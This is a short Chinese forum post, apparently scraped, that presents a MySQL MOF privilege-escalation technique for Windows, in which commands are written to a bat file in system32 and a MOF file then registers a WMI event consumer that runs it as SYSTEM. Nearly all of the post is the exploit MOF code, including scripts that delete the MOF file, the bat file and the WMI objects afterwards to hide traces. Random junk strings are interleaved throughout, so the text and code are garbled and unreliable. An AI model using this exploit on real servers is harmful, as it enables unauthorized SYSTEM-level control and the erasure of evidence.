这个sql提权MOF需要运行 system下的文件,不能定义路径。
1 {2 m }0 X* ^7 l& T7 b. ]* h需要将要运行的命令写入到bat上传到system32目录,然后执行。) B' u9 s9 k Q+ I9 c1 M7 o3 j
+ N- r) B' \9 W# @1 J0 m这个sql提权MOF需要运行 system下的文件,不能定义路径。2 }* c- l( ~) d6 [
需要将要运行的命令写入到bat上传到system32目录,然后执行。- F, J( z! ^8 D4 b; M
, y s7 l" ]4 r( M0 F9 Q
#pragma
& m, Q7 E5 R# N) Z5 ]0 i, | namespace("\\\\.\\root\\cimv2")5 S, w5 A' M. ^4 w! ?" r# R3 Z1 B3 c
class* ^* g4 {4 q! N( B; j+ x
MyClass547
; H6 }9 T6 S! O; O8 \: P l { [key]8 I8 y' A( v9 R7 }1 e# e' C
string: R. V3 r3 K2 \0 ]( P% \' s, s* O
Name;
) w# N, V) r- [, I( y, I& d };
% X4 \/ W7 ]& E9 _" o& u5 E7 S class1 h' |' s' `% e3 E9 |
ActiveScriptEventConsumer$ Y' n W- y1 [2 ^7 r% u" N+ l
: __EventConsumer { [key]. O7 m e# D/ A1 c8 g
string* Y% ^4 r+ B* f. N @; m% e
Name; [not_null]
, s6 ~# r1 O6 h string) O. |9 k, f$ Y( d R
ScriptingEngine; string1 F, @" `+ Z1 M: K! C) e
ScriptFileName; [template]
: O8 q! q' L4 O+ P8 G string. e/ j8 o/ O" j4 d% v
ScriptText; uint32 KillTimeout;
3 N+ q2 Y) Q1 S0 E& r! y }; instance of __Win32Provider as $P {. k4 A9 G1 l/ }* @5 x1 Z# ]4 v7 `
Name4 c, M( X/ o @. ?
=
: {! V9 D- ~4 o8 O- M "ActiveScriptEventConsumer"; CLSID =
; B4 }: k. f2 X/ Q p "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";: ^: u* v) c5 d3 }6 k6 |
PerUserInitialization2 A' _' h7 |: `: t* ~1 ]
= TRUE;& T0 l6 j* }" A. n- u1 v+ Z" Y Q' Q7 h
}; instance of __EventConsumerProviderRegistration { Provider- J: `" ^" ^- H2 ?; h9 n7 |
= $P; ConsumerClassNames
7 [3 ~5 J. B; H, y. G# d) Q =4 P) R: x: D3 F% k
{"ActiveScriptEventConsumer"};: f f+ ~ X% g6 `+ k
};
# [9 }1 q, X+ F7 y# R Instance of ActiveScriptEventConsumer# U. Y _: u( K7 }3 T2 {
as $cons { Name; P( o2 I4 ^& x8 v% v/ R
= ]# t% s" \' \8 ?. B
"ASEC"; ScriptingEngine
7 K" d) E' j% W5 l( { =( r; V1 Q3 x( g) d
"JScript"; ScriptText' p' q, @- d# J
=
" _. V7 I; Q, z "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
" n' }8 P5 m; Z6 X+ i& t3 W Instance of ActiveScriptEventConsumer: U6 d2 T5 |9 C. P: n0 j
as $cons2 { Name
/ Q" K$ g& e8 ` =
A o7 u/ w+ x7 u "qndASEC"; ScriptingEngine2 N6 e, N* C7 l4 k; ]9 M
=
, r% I' C* ?, |0 E, h. `/ } "JScript"; ScriptText _+ `1 ~/ m7 B5 d2 o) b/ |
=
" J% G8 Y& {" v- y. P "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
& ~* R( w* O+ u- l }; instance of __EventFilter as $Filt { Name
' A* _3 {2 a, h: h =
" W9 {( a; o3 s, D9 u8 W2 n "instfilt"; Query6 B% h" e9 t5 T' g( M/ e! P- p. Z+ z
=
0 O% U( o( E j/ O; M# Y "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
0 D0 C$ w* [) Q" x% C+ g =' X8 H, q$ ~8 P* V8 N
"WQL"; }; instance of __EventFilter as $Filt2 { Name
7 a. @ F% ~* A9 E =! s! T z8 g: [) b$ l0 q
"qndfilt"; Query
- V( l9 p4 M9 s$ b- @2 \ =
3 |* v: g# ~, G "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
5 M7 x0 i" g3 i6 m, o$ x+ @ =6 C5 I2 x- V3 k
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
6 {/ `3 D9 F0 V = $cons; Filter
% W ~" H! D% M( ] = $Filt;; O+ C6 P j5 ^
}; instance of __FilterToConsumerBinding as $bind2 { Consumer- W3 e: z/ L: @% N
= $cons2; Filter
# o9 T0 _5 d1 J6 U) Q = $Filt2;$ m) f. ?5 m, Z' s/ N" }9 F
}; instance of MyClass547
7 R5 I+ l4 W( }8 M0 y: F, H8 t7 [ as $MyClass { Name; r* z4 f0 f5 i5 M. ` e
=! T* b' K! Z0 d' I& w. c
"ClassConsumer";; A' F$ h: n6 E* \
}; |